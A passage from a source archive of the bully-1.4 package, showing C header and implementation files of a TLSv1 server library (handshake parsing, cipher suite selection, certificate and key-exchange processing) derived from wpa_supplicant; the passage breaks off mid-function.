Zero (TLS_CIPHER_NONE) terminated list of allowed ciphers * (TLS_CIPHER_*). * Returns: 0 on success, -1 on failure */ int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers) { size_t count; u16 *suites; /* TODO: implement proper configuration of cipher suites */ if (ciphers[0] == TLS_CIPHER_ANON_DH_AES128_SHA) { count = 0; suites = conn->cipher_suites; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_RSA_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_RSA_WITH_AES_128_CBC_SHA; suites[count++] = TLS_RSA_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_SHA; suites[count++] = TLS_RSA_WITH_RC4_128_MD5; #ifndef CONFIG_CRYPTO_INTERNAL suites[count++] = TLS_DH_anon_WITH_AES_256_CBC_SHA; #endif /* CONFIG_CRYPTO_INTERNAL */ suites[count++] = TLS_DH_anon_WITH_AES_128_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_3DES_EDE_CBC_SHA; suites[count++] = TLS_DH_anon_WITH_RC4_128_MD5; suites[count++] = TLS_DH_anon_WITH_DES_CBC_SHA; conn->num_cipher_suites = count; } return 0; } int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer) { conn->verify_peer = verify_peer; return 0; } void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, tlsv1_server_session_ticket_cb cb, void *ctx) { wpa_printf(MSG_DEBUG, "TLSv1: SessionTicket callback set %p (ctx %p)", cb, ctx); conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; } bully-1.4-00/src/tls/tlsv1_server.h000077500000000000000000000040031361530463600171320ustar00rootroot00000000000000/* * TLSv1 server (RFC 2246) * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_SERVER_H #define TLSV1_SERVER_H #include "tlsv1_cred.h" struct tlsv1_server; int tlsv1_server_global_init(void); void tlsv1_server_global_deinit(void); struct tlsv1_server * tlsv1_server_init(struct tlsv1_credentials *cred); void tlsv1_server_deinit(struct tlsv1_server *conn); int tlsv1_server_established(struct tlsv1_server *conn); int tlsv1_server_prf(struct tlsv1_server *conn, const char *label, int server_random_first, u8 *out, size_t out_len); u8 * tlsv1_server_handshake(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, size_t *out_len); int tlsv1_server_encrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_server_decrypt(struct tlsv1_server *conn, const u8 *in_data, size_t in_len, u8 *out_data, size_t out_len); int tlsv1_server_get_cipher(struct tlsv1_server *conn, char *buf, size_t buflen); int tlsv1_server_shutdown(struct tlsv1_server *conn); int tlsv1_server_resumed(struct tlsv1_server *conn); int tlsv1_server_get_keys(struct tlsv1_server *conn, struct tls_keys *keys); int tlsv1_server_get_keyblock_size(struct tlsv1_server *conn); int tlsv1_server_set_cipher_list(struct tlsv1_server *conn, u8 *ciphers); int tlsv1_server_set_verify(struct tlsv1_server *conn, int verify_peer); typedef int (*tlsv1_server_session_ticket_cb) (void *ctx, const u8 *ticket, size_t len, const u8 *client_random, const u8 *server_random, u8 *master_secret); void tlsv1_server_set_session_ticket_cb(struct tlsv1_server *conn, tlsv1_server_session_ticket_cb cb, void *ctx); #endif /* TLSV1_SERVER_H */ bully-1.4-00/src/tls/tlsv1_server_i.h000077500000000000000000000040101361530463600174400ustar00rootroot00000000000000/* * TLSv1 server - internal structures * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TLSV1_SERVER_I_H #define TLSV1_SERVER_I_H struct tlsv1_server { enum { CLIENT_HELLO, SERVER_HELLO, SERVER_CERTIFICATE, SERVER_KEY_EXCHANGE, SERVER_CERTIFICATE_REQUEST, SERVER_HELLO_DONE, CLIENT_CERTIFICATE, CLIENT_KEY_EXCHANGE, CERTIFICATE_VERIFY, CHANGE_CIPHER_SPEC, CLIENT_FINISHED, SERVER_CHANGE_CIPHER_SPEC, SERVER_FINISHED, ESTABLISHED, FAILED } state; struct tlsv1_record_layer rl; u8 session_id[TLS_SESSION_ID_MAX_LEN]; size_t session_id_len; u8 client_random[TLS_RANDOM_LEN]; u8 server_random[TLS_RANDOM_LEN]; u8 master_secret[TLS_MASTER_SECRET_LEN]; u8 alert_level; u8 alert_description; struct crypto_public_key *client_rsa_key; struct tls_verify_hash verify; #define MAX_CIPHER_COUNT 30 u16 cipher_suites[MAX_CIPHER_COUNT]; size_t num_cipher_suites; u16 cipher_suite; struct tlsv1_credentials *cred; int verify_peer; u16 client_version; u8 *session_ticket; size_t session_ticket_len; tlsv1_server_session_ticket_cb session_ticket_cb; void *session_ticket_cb_ctx; int use_session_ticket; u8 *dh_secret; size_t dh_secret_len; }; void tlsv1_server_alert(struct tlsv1_server *conn, u8 level, u8 description); int tlsv1_server_derive_keys(struct tlsv1_server *conn, const u8 *pre_master_secret, size_t pre_master_secret_len); u8 * tlsv1_server_handshake_write(struct tlsv1_server *conn, size_t *out_len); u8 * tlsv1_server_send_alert(struct tlsv1_server *conn, u8 level, u8 description, size_t *out_len); int tlsv1_server_process_handshake(struct tlsv1_server *conn, u8 ct, const u8 *buf, size_t *len); #endif /* TLSV1_SERVER_I_H */ bully-1.4-00/src/tls/tlsv1_server_read.c000077500000000000000000000712571361530463600201370ustar00rootroot00000000000000/* * TLSv1 server - read handshake message * Copyright (c) 2006-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto/md5.h" #include "crypto/sha1.h" #include "crypto/tls.h" #include "x509v3.h" #include "tlsv1_common.h" #include "tlsv1_record.h" #include "tlsv1_server.h" #include "tlsv1_server_i.h" static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_change_cipher_spec(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len); static int tls_process_client_hello(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end, *c; size_t left, len, i, j; u16 cipher_suite; u16 num_suites; int compr_null_found; u16 ext_type, ext_len; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) goto decode_error; /* HandshakeType msg_type */ if (*pos != TLS_HANDSHAKE_TYPE_CLIENT_HELLO) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ClientHello)", *pos); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ClientHello"); pos++; /* uint24 length */ len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) goto decode_error; /* body - ClientHello */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello", pos, len); end = pos + len; /* ProtocolVersion client_version */ if (end - pos < 2) goto decode_error; conn->client_version = WPA_GET_BE16(pos); wpa_printf(MSG_DEBUG, "TLSv1: Client version %d.%d", conn->client_version >> 8, conn->client_version & 0xff); if (conn->client_version < TLS_VERSION) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected protocol version in " "ClientHello"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_PROTOCOL_VERSION); return -1; } pos += 2; /* Random random */ if (end - pos < TLS_RANDOM_LEN) goto decode_error; os_memcpy(conn->client_random, pos, TLS_RANDOM_LEN); pos += TLS_RANDOM_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client_random", conn->client_random, TLS_RANDOM_LEN); /* SessionID session_id */ if (end - pos < 1) goto decode_error; if (end - pos < 1 + *pos || *pos > TLS_SESSION_ID_MAX_LEN) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client session_id", pos + 1, *pos); pos += 1 + *pos; /* TODO: add support for session resumption */ /* CipherSuite cipher_suites<2..2^16-1> */ if (end - pos < 2) goto decode_error; num_suites = WPA_GET_BE16(pos); pos += 2; if (end - pos < num_suites) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client cipher suites", pos, num_suites); if (num_suites & 1) goto decode_error; num_suites /= 2; cipher_suite = 0; for (i = 0; !cipher_suite && i < conn->num_cipher_suites; i++) { c = pos; for (j = 0; j < num_suites; j++) { u16 tmp = WPA_GET_BE16(c); c += 2; if (!cipher_suite && tmp == conn->cipher_suites[i]) { cipher_suite = tmp; break; } } } pos += num_suites * 2; if (!cipher_suite) { wpa_printf(MSG_INFO, "TLSv1: No supported cipher suite " "available"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (tlsv1_record_set_cipher_suite(&conn->rl, cipher_suite) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to set CipherSuite for " "record layer"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->cipher_suite = cipher_suite; /* CompressionMethod compression_methods<1..2^8-1> */ if (end - pos < 1) goto decode_error; num_suites = *pos++; if (end - pos < num_suites) goto decode_error; wpa_hexdump(MSG_MSGDUMP, "TLSv1: client compression_methods", pos, num_suites); compr_null_found = 0; for (i = 0; i < num_suites; i++) { if (*pos++ == TLS_COMPRESSION_NULL) compr_null_found = 1; } if (!compr_null_found) { wpa_printf(MSG_INFO, "TLSv1: Client does not accept NULL " "compression"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_ILLEGAL_PARAMETER); return -1; } if (end - pos == 1) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected extra octet in the " "end of ClientHello: 0x%02x", *pos); goto decode_error; } if (end - pos >= 2) { /* Extension client_hello_extension_list<0..2^16-1> */ ext_len = WPA_GET_BE16(pos); pos += 2; wpa_printf(MSG_DEBUG, "TLSv1: %u bytes of ClientHello " "extensions", ext_len); if (end - pos != ext_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid ClientHello " "extension list length %u (expected %u)", ext_len, (unsigned int) (end - pos)); goto decode_error; } /* * struct { * ExtensionType extension_type (0..65535) * opaque extension_data<0..2^16-1> * } Extension; */ while (pos < end) { if (end - pos < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_type field"); goto decode_error; } ext_type = WPA_GET_BE16(pos); pos += 2; if (end - pos < 2) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_data length field"); goto decode_error; } ext_len = WPA_GET_BE16(pos); pos += 2; if (end - pos < ext_len) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid " "extension_data field"); goto decode_error; } wpa_printf(MSG_DEBUG, "TLSv1: ClientHello Extension " "type %u", ext_type); wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientHello " "Extension data", pos, ext_len); if (ext_type == TLS_EXT_SESSION_TICKET) { os_free(conn->session_ticket); conn->session_ticket = os_malloc(ext_len); if (conn->session_ticket) { os_memcpy(conn->session_ticket, pos, ext_len); conn->session_ticket_len = ext_len; } } pos += ext_len; } } *in_len = end - in_data; wpa_printf(MSG_DEBUG, "TLSv1: ClientHello OK - proceed to " "ServerHello"); conn->state = SERVER_HELLO; return 0; decode_error: wpa_printf(MSG_DEBUG, "TLSv1: Failed to decode ClientHello"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } static int tls_process_certificate(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len, list_len, cert_len, idx; u8 type; struct x509_certificate *chain = NULL, *last = NULL, *cert; int reason; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate message " "(len=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected Certificate message " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } if (type == TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { if (conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " "Certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } return tls_process_client_key_exchange(conn, ct, in_data, in_len); } if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected Certificate/" "ClientKeyExchange)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received Certificate (certificate_list len %lu)", (unsigned long) len); /* * opaque ASN.1Cert<2^24-1>; * * struct { * ASN.1Cert certificate_list<1..2^24-1>; * } Certificate; */ end = pos + len; if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Too short Certificate " "(left=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } list_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) != list_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate_list " "length (len=%lu left=%lu)", (unsigned long) list_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } idx = 0; while (pos < end) { if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "certificate_list"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } cert_len = WPA_GET_BE24(pos); pos += 3; if ((size_t) (end - pos) < cert_len) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected certificate " "length (len=%lu left=%lu)", (unsigned long) cert_len, (unsigned long) (end - pos)); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); x509_certificate_chain_free(chain); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Certificate %lu (len %lu)", (unsigned long) idx, (unsigned long) cert_len); if (idx == 0) { crypto_public_key_free(conn->client_rsa_key); if (tls_parse_cert(pos, cert_len, &conn->client_rsa_key)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } } cert = x509_certificate_parse(pos, cert_len); if (cert == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse " "the certificate"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_BAD_CERTIFICATE); x509_certificate_chain_free(chain); return -1; } if (last == NULL) chain = cert; else last->next = cert; last = cert; idx++; pos += cert_len; } if (x509_certificate_chain_validate(conn->cred->trusted_certs, chain, &reason) < 0) { int tls_reason; wpa_printf(MSG_DEBUG, "TLSv1: Server certificate chain " "validation failed (reason=%d)", reason); switch (reason) { case X509_VALIDATE_BAD_CERTIFICATE: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; case X509_VALIDATE_UNSUPPORTED_CERTIFICATE: tls_reason = TLS_ALERT_UNSUPPORTED_CERTIFICATE; break; case X509_VALIDATE_CERTIFICATE_REVOKED: tls_reason = TLS_ALERT_CERTIFICATE_REVOKED; break; case X509_VALIDATE_CERTIFICATE_EXPIRED: tls_reason = TLS_ALERT_CERTIFICATE_EXPIRED; break; case X509_VALIDATE_CERTIFICATE_UNKNOWN: tls_reason = TLS_ALERT_CERTIFICATE_UNKNOWN; break; case X509_VALIDATE_UNKNOWN_CA: tls_reason = TLS_ALERT_UNKNOWN_CA; break; default: tls_reason = TLS_ALERT_BAD_CERTIFICATE; break; } tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, tls_reason); x509_certificate_chain_free(chain); return -1; } x509_certificate_chain_free(chain); *in_len = end - in_data; conn->state = CLIENT_KEY_EXCHANGE; return 0; } static int tls_process_client_key_exchange_rsa( struct tlsv1_server *conn, const u8 *pos, const u8 *end) { u8 *out; size_t outlen, outbuflen; u16 encr_len; int res; int use_random = 0; if (end - pos < 2) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } encr_len = WPA_GET_BE16(pos); pos += 2; outbuflen = outlen = end - pos; out = os_malloc(outlen >= TLS_PRE_MASTER_SECRET_LEN ? outlen : TLS_PRE_MASTER_SECRET_LEN); if (out == NULL) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* * struct { * ProtocolVersion client_version; * opaque random[46]; * } PreMasterSecret; * * struct { * public-key-encrypted PreMasterSecret pre_master_secret; * } EncryptedPreMasterSecret; */ /* * Note: To avoid Bleichenbacher attack, we do not report decryption or * parsing errors from EncryptedPreMasterSecret processing to the * client. Instead, a random pre-master secret is used to force the * handshake to fail. */ if (crypto_private_key_decrypt_pkcs1_v15(conn->cred->key, pos, end - pos, out, &outlen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt " "PreMasterSecret (encr_len=%d outlen=%lu)", (int) (end - pos), (unsigned long) outlen); use_random = 1; } if (outlen != TLS_PRE_MASTER_SECRET_LEN) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected PreMasterSecret " "length %lu", (unsigned long) outlen); use_random = 1; } if (WPA_GET_BE16(out) != conn->client_version) { wpa_printf(MSG_DEBUG, "TLSv1: Client version in " "ClientKeyExchange does not match with version in " "ClientHello"); use_random = 1; } if (use_random) { wpa_printf(MSG_DEBUG, "TLSv1: Using random premaster secret " "to avoid revealing information about private key"); outlen = TLS_PRE_MASTER_SECRET_LEN; if (os_get_random(out, outlen)) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to get random " "data"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); os_free(out); return -1; } } res = tlsv1_server_derive_keys(conn, out, outlen); /* Clear the pre-master secret since it is not needed anymore */ os_memset(out, 0, outbuflen); os_free(out); if (res) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return 0; } static int tls_process_client_key_exchange_dh_anon( struct tlsv1_server *conn, const u8 *pos, const u8 *end) { const u8 *dh_yc; u16 dh_yc_len; u8 *shared; size_t shared_len; int res; /* * struct { * select (PublicValueEncoding) { * case implicit: struct { }; * case explicit: opaque dh_Yc<1..2^16-1>; * } dh_public; * } ClientDiffieHellmanPublic; */ wpa_hexdump(MSG_MSGDUMP, "TLSv1: ClientDiffieHellmanPublic", pos, end - pos); if (end == pos) { wpa_printf(MSG_DEBUG, "TLSv1: Implicit public value encoding " "not supported"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } if (end - pos < 3) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid client public value " "length"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } dh_yc_len = WPA_GET_BE16(pos); dh_yc = pos + 2; if (dh_yc + dh_yc_len > end) { wpa_printf(MSG_DEBUG, "TLSv1: Client public value overflow " "(length %d)", dh_yc_len); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_DEBUG, "TLSv1: DH Yc (client's public value)", dh_yc, dh_yc_len); if (conn->cred == NULL || conn->cred->dh_p == NULL || conn->dh_secret == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No DH parameters available"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } shared_len = conn->cred->dh_p_len; shared = os_malloc(shared_len); if (shared == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: Could not allocate memory for " "DH"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } /* shared = Yc^secret mod p */ if (crypto_mod_exp(dh_yc, dh_yc_len, conn->dh_secret, conn->dh_secret_len, conn->cred->dh_p, conn->cred->dh_p_len, shared, &shared_len)) { os_free(shared); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } wpa_hexdump_key(MSG_DEBUG, "TLSv1: Shared secret from DH key exchange", shared, shared_len); os_memset(conn->dh_secret, 0, conn->dh_secret_len); os_free(conn->dh_secret); conn->dh_secret = NULL; res = tlsv1_server_derive_keys(conn, shared, shared_len); /* Clear the pre-master secret since it is not needed anymore */ os_memset(shared, 0, shared_len); os_free(shared); if (res) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to derive keys"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } return 0; } static int tls_process_client_key_exchange(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; tls_key_exchange keyx; const struct tls_cipher_suite *suite; if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ClientKeyExchange " "(Left=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Mismatch in ClientKeyExchange " "length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected ClientKeyExchange)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received ClientKeyExchange"); wpa_hexdump(MSG_DEBUG, "TLSv1: ClientKeyExchange", pos, len); suite = tls_get_cipher_suite(conn->rl.cipher_suite); if (suite == NULL) keyx = TLS_KEY_X_NULL; else keyx = suite->key_exchange; if (keyx == TLS_KEY_X_DH_anon && tls_process_client_key_exchange_dh_anon(conn, pos, end) < 0) return -1; if (keyx != TLS_KEY_X_DH_anon && tls_process_client_key_exchange_rsa(conn, pos, end) < 0) return -1; *in_len = end - in_data; conn->state = CERTIFICATE_VERIFY; return 0; } static int tls_process_certificate_verify(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos, *end; size_t left, len; u8 type; size_t hlen, buflen; u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN], *hpos, *buf; enum { SIGN_ALG_RSA, SIGN_ALG_DSA } alg = SIGN_ALG_RSA; u16 slen; if (ct == TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { if (conn->verify_peer) { wpa_printf(MSG_DEBUG, "TLSv1: Client did not include " "CertificateVerify"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } return tls_process_change_cipher_spec(conn, ct, in_data, in_len); } if (ct != TLS_CONTENT_TYPE_HANDSHAKE) { wpa_printf(MSG_DEBUG, "TLSv1: Expected Handshake; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 4) { wpa_printf(MSG_DEBUG, "TLSv1: Too short CertificateVerify " "message (len=%lu)", (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } type = *pos++; len = WPA_GET_BE24(pos); pos += 3; left -= 4; if (len > left) { wpa_printf(MSG_DEBUG, "TLSv1: Unexpected CertificateVerify " "message length (len=%lu != left=%lu)", (unsigned long) len, (unsigned long) left); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } end = pos + len; if (type != TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY) { wpa_printf(MSG_DEBUG, "TLSv1: Received unexpected handshake " "message %d (expected CertificateVerify)", type); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } wpa_printf(MSG_DEBUG, "TLSv1: Received CertificateVerify"); /* * struct { * Signature signature; * } CertificateVerify; */ hpos = hash; if (alg == SIGN_ALG_RSA) { hlen = MD5_MAC_LEN; if (conn->verify.md5_cert == NULL || crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); conn->verify.md5_cert = NULL; crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); conn->verify.sha1_cert = NULL; return -1; } hpos += MD5_MAC_LEN; } else crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); conn->verify.md5_cert = NULL; hlen = SHA1_MAC_LEN; if (conn->verify.sha1_cert == NULL || crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { conn->verify.sha1_cert = NULL; tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } conn->verify.sha1_cert = NULL; if (alg == SIGN_ALG_RSA) hlen += MD5_MAC_LEN; wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); if (end - pos < 2) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } slen = WPA_GET_BE16(pos); pos += 2; if (end - pos < slen) { tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECODE_ERROR); return -1; } wpa_hexdump(MSG_MSGDUMP, "TLSv1: Signature", pos, end - pos); if (conn->client_rsa_key == NULL) { wpa_printf(MSG_DEBUG, "TLSv1: No client public key to verify " "signature"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_INTERNAL_ERROR); return -1; } buflen = end - pos; buf = os_malloc(end - pos); if (crypto_public_key_decrypt_pkcs1(conn->client_rsa_key, pos, end - pos, buf, &buflen) < 0) { wpa_printf(MSG_DEBUG, "TLSv1: Failed to decrypt signature"); os_free(buf); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "TLSv1: Decrypted Signature", buf, buflen); if (buflen != hlen || os_memcmp(buf, hash, buflen) != 0) { wpa_printf(MSG_DEBUG, "TLSv1: Invalid Signature in " "CertificateVerify - did not match with calculated " "hash"); os_free(buf); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_DECRYPT_ERROR); return -1; } os_free(buf); *in_len = end - in_data; conn->state = CHANGE_CIPHER_SPEC; return 0; } static int tls_process_change_cipher_spec(struct tlsv1_server *conn, u8 ct, const u8 *in_data, size_t *in_len) { const u8 *pos; size_t left; if (ct != TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC) { wpa_printf(MSG_DEBUG, "TLSv1: Expected ChangeCipherSpec; " "received content type 0x%x", ct); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, TLS_ALERT_UNEXPECTED_MESSAGE); return -1; } pos = in_data; left = *in_len; if (left < 1) { wpa_printf(MSG_DEBUG, "TLSv1: Too short ChangeCipherSpec"); tlsv1_server_alert(conn, TLS_ALERT_LEVEL_FATAL, 